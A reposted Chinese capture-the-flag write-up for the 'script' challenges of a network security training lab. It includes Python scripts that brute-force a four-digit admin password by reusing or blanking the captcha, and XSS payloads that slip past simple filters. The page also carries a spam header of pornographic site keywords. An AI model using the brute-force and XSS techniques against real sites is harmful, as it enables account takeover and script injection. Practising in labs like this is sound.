日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

网络安全实验室CTF—脚本关 writeup

發布時間:2023/12/14 编程问答 45 豆豆
生活随笔 收集整理的這篇文章主要介紹了 网络安全实验室CTF—脚本关 writeup 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

網絡安全實驗室CTF—腳本關 writeup

    • key又又找不到了
    • 快速口算
    • 這個題目是空的
    • 怎么就是不彈出key呢?
    • 知識點:驗證碼發布流程
    • 逗比驗證碼第一期
    • 逗比驗證碼第二期
    • 逗比驗證碼第三期(SESSION)
    • 微笑一下就能過關了
    • 逗比的手機驗證碼
    • 激情燃燒的歲月
    • 驗證碼識別
    • 知識點:XSS跨站腳本攻擊
    • XSS基礎關
    • XSS基礎關2:簡單繞過
    • XSS基礎關3:檢測與構造
    • Principle很重要的XSS

網絡安全實驗室CTF鏈接

key又又找不到了

分值: 200
小明這次哭了,key又找不到了!!! key啊,你究竟藏到了哪里,為什么我看到的頁面上都沒有啊!!!!!!

通關地址

進入鏈接后,顯示" 到這里找key ",查看網頁源碼發現跳轉鏈接

<body><a href="./search_key.php">_到這里找key__</a></body>

點擊鏈接但很快跳轉到另一頁面:“想找key,從哪里來回哪里去,我這里沒有key!哼!

http://.../no_key_is_here_forever.php //跳轉后網頁的URL

嘗試用Burp Suite抓包

將第一次抓取的頁面Send to Repeater后發送數據包,在Response中得到key

快速口算

分值: 350
小明要參加一個高技能比賽,要求每個人都要能夠快速口算四則運算,2秒鐘之內就能夠得到結果,但是小明就是一個小學生沒有經過特殊的培訓,那小明能否通過快速口算測驗呢?

通關地址

需要在2秒鐘內提交計算結果,需要用到Python腳本
先用填入答案提交一次數據,用Burp Suite對數據進行抓包,獲取所需的Cookie和變量名信息

通過Python腳本實現2秒內提交計算結果,代碼如下:

# -*- coding : utf-8 -*- import requests import re //正則表達式url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'head = {'Cookie': 'PHPSESSID=98db957833ad06f20d20765aed472328'}source = requests.get(url, headers=head).content.decode('utf-8') expression = re.search(r'(\d+[+*])+(\d+[+*])+\((\d+[+*])+(\d+)\)', source).group() print(expression) val = str(eval(expression)) print(val) post = {'v': val} result = requests.post(url, headers=head, data=post).content.decode('utf-8') print(result)

運行腳本即獲取到key

5326*77767+530*(5326+77767) 458226332 <html><head><meta http-equiv=Content-Type content="text/html;charset=utf-8"></head><body>key is 123iohHKHJ%^&*(jkh </body> </html>

這個題目是空的

分值: 100
Tips:這個題目真不是隨便設置的。 什么才是空的呢? 通關地址:沒有,請直接提交答案(小寫即可)

null”代表多數編程語言中代表空字節或空指針,所以提交“null”通關。

怎么就是不彈出key呢?

分值: 150
提交說明:提交前14個字符即可過關

通關鏈接

打開網頁后顯示“ 點擊之后怎么沒有反應呢?說好的彈窗呢? ”,嘗試點擊頁面,發現左下角瀏覽器執行了JavaScript代碼,javascript:a();,但并未產生彈窗,查看網頁源代碼:

<script>function alert(a) {return false;}document.write = function () {return false;}function prompt(a) {return false;}var a = function () {…… //省略部分代碼alert("key is first 14 chars" + d);} </script>

發現在<script>標簽中,存在三個擾亂的函數return false;刪除前三個函數,在本地重新執行代碼(注:需有phpstudy環境支持),得到彈窗,截取前十四位字符,即為key。

知識點:驗證碼發布流程

1.用戶請求訪問或刷新網頁,服務器后臺生成驗證碼圖片及圖片編碼,
2.將驗證碼信息加密后放入Session或Cookie;
3.提交表單信息后,調用生成驗證碼的程序;
4.核對驗證碼無誤、數據合法后寫入數據庫;
用戶正常刷新頁面后,會再次訪問該表單頁面,驗證碼圖片被動更新,Session和Cookie存入的值也跟著改變,用不同方式模擬post傳參直接發送數據,從而達到繞過驗證碼的目的,修復此漏洞的方法:在核對驗證碼后,便清空Session和Cookie中保存驗證碼的值,再判斷數據的合法性,最后寫入數據庫,以此提高驗證碼的安全性。

逗比驗證碼第一期

分值: 100
逗比的驗證碼,有沒有難道不一樣嗎?

通關鏈接

進入登陸頁面后,User信息已給出,密碼提示為:第一位不為0的4位純數字,但需要輸入驗證碼登陸。
先嘗試登陸,用Burp Suite抓取數據包,獲取所需的Cookie和變量名信息:


將抓取的頁面Send to Repeater后發送數據包,在Response中顯示“pwd error”,嘗試在Request中修改數據包信息,根據給出的提示:“有沒有難道不一樣?”發現在不刷新頁面重制驗證碼的情況下,可以重復修改pwd的值,以達到繞過驗證碼爆破密碼的作用;
以下為爆破密碼的Python腳本代碼:

# -*- coding : utf-8 -*- import requestsurl = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php'for password in range(1000, 9999):head = {'Cookie': 'PHPSESSID=98db957833ad06f20d20765aed472328'}post = {'username': 'admin', 'pwd': password, 'vcode': 'ws2b', 'submit': 'submit'}result = requests.post(url, headers=head, data=post).textprint(password)if len(result) != 9:print("The passowrd is : "+str(password))print(result)break

運行腳本即獲取到登陸密碼為:1238,同時得到key

//1000開始: 1237 1238 The passowrd is : 1238 key is LJLJL789sdf#@sd

逗比驗證碼第二期

分值: 150
驗證便失效的驗證碼
通關鏈接

進入登陸頁面后,User信息已給出,密碼提示為:第一位不為0的4位純數字,但需要輸入驗證碼登陸,驗證碼一次失效
先嘗試登陸,用Burp Suite抓取數據包,獲取所需的Cookie和變量名信息:

將抓取的頁面Send to Repeater后發送數據包,在Response中顯示“pwd error”,嘗試在Request中修改數據包信息,根據給出的提示:“一次便失效”發現當驗證碼為空的情況下,可以重復修改pwd的值,以達到繞過驗證碼爆破密碼的作用;
以下為逗比驗證碼第二期爆破密碼的Python腳本代碼:

# -*- coding : utf-8 -*- import requestsurl = 'http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php'for password in range(1000, 9999):head = {'Cookie': 'PHPSESSID=98db957833ad06f20d20765aed472328'}post = {'username': 'admin', 'pwd': password, 'vcode': '', 'submit': 'submit'}result = requests.post(url, headers=head, data=post).textprint(password)if len(result) != 9:print("The passowrd is : " + str(password))print(result)break

運行腳本即獲取到登陸密碼為:1228,同時得到key

//1000開始: 1227 1228 The passowrd is : 1228 key is LJLJL789ss33fasvxcvsdf#@sd

逗比驗證碼第三期(SESSION)

分值: 150
尼瑪,驗證碼怎么可以這樣逗比。。
驗證碼做成這樣,你家里人知道嗎?
通關鏈接

原理同逗比驗證碼第二期,修改相關數據,運行腳本即可得到key

微笑一下就能過關了

逗比的手機驗證碼

激情燃燒的歲月

驗證碼識別

知識點:XSS跨站腳本攻擊

有關XSS跨站腳本攻擊的詳盡內容請看:XSS跨站腳本攻擊原理與常見的腳本及《XSS跨站腳本攻擊剖析與防御》摘錄總結

XSS基礎關

分值: 50
XSS基礎:很容易就可以過關.XSS類題目必須在平臺登錄才能進行.登錄地址請參考左側<子系統>

通關鏈接

注:首先在子系統功能區進行題目平臺登陸,然后訪問鏈接

進入頁面后,顯示“Welcome guest”,有輸入框,構造常規payload進行測試:

<script>alert(1);</script>

提交后網頁出現兩個彈窗一個為“1”,即我們的測試代碼,一個為通關提示:“Please use alert(HackingLab)!!

修改輸入的JavaScript腳本代碼為:

<script>alert(HackingLab);</script>

提交后彈窗顯示“success!”,得到key

XSS基礎關2:簡單繞過

分值: 100
很容易就可以過關.

通關鏈接

有輸入框,嘗試簡單的XSS注入,但顯示檢測到XSS腳本

懷疑“<script>”被檢測或過濾,嘗試通過“<img>標簽事件”觸發彈窗,構造如下JavaScript腳本:

<img src=x onerror=alert(HackingLab)>

提交查詢后彈窗顯示“success!”,得到key

XSS基礎關3:檢測與構造

分值: 130
XSS基礎3:檢測與構造
Tips:不是很難

通關鏈接

頁面存在兩個輸入框,嘗試了大部分的注入語句,發現都被過濾,但當“value”的值為“alert”時,通過事件可以觸發彈窗:

alert' οnmοuseοver='alert(HackingLab)

提交查詢后彈窗顯示“success!”,得到key

Principle很重要的XSS

總結

以上是生活随笔為你收集整理的网络安全实验室CTF—脚本关 writeup的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。